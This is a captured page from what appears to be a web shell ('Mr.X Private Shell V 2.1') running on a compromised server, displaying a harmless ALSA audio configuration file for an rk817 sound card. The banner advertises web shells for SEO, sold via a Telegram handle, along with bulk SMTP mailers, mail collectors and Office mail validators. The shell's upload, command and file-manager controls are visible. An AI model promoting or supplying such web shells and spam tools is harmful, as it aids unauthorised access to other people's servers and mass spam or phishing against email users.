__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
Define.pbk_mux "SPK"

If.1 {
	Condition {
		Type ControlExists
		Control "name='Internal Speakers Switch'"
	}

	True {
		Define.pbk_mux "HP"
		SectionDevice."Speaker".EnableSequence [
			cset "name='Internal Speakers Switch' on"
		]

		SectionDevice."Speaker".DisableSequence [
			cset "name='Internal Speakers Switch' off"
		]
	}
}

SectionDevice."Speaker" {
	Comment "Internal Speaker"

	EnableSequence [
		cset "name='Playback Mux' ${var:pbk_mux}"
	]

	Value {
		PlaybackMixerElem "Master Playback Volume"
		PlaybackPriority 100
		PlaybackPCM "hw:${CardId}"
	}

	ConflictingDevice [
		"Headphones"
	]
}

SectionDevice."Mic" {
	Comment "Microphone"

	Value {
		CapturePriority 100
		CapturePCM "hw:${CardId}"
		CaptureMixerElem "Mic Capture Gain"
		CaptureMasterElem "Master Capture Volume"
	}
}

SectionDevice."Headphones" {
	Comment "Headphones"

	EnableSequence [
		cset "name='Playback Mux' HP"
	]

	Value {
		PlaybackMixerElem "Master Playback Volume"
		PlaybackPriority 200
		PlaybackPCM "hw:${CardId}"
		JackControl "Headphones Jack"
		JackHWMute "Speaker"
	}

	ConflictingDevice [
		"Speaker"
	]
}

Filemanager

Name Type Size Permission Actions
HiFi.conf File 1.08 KB 0644
rk817-sound.conf File 111 B 0644
Filemanager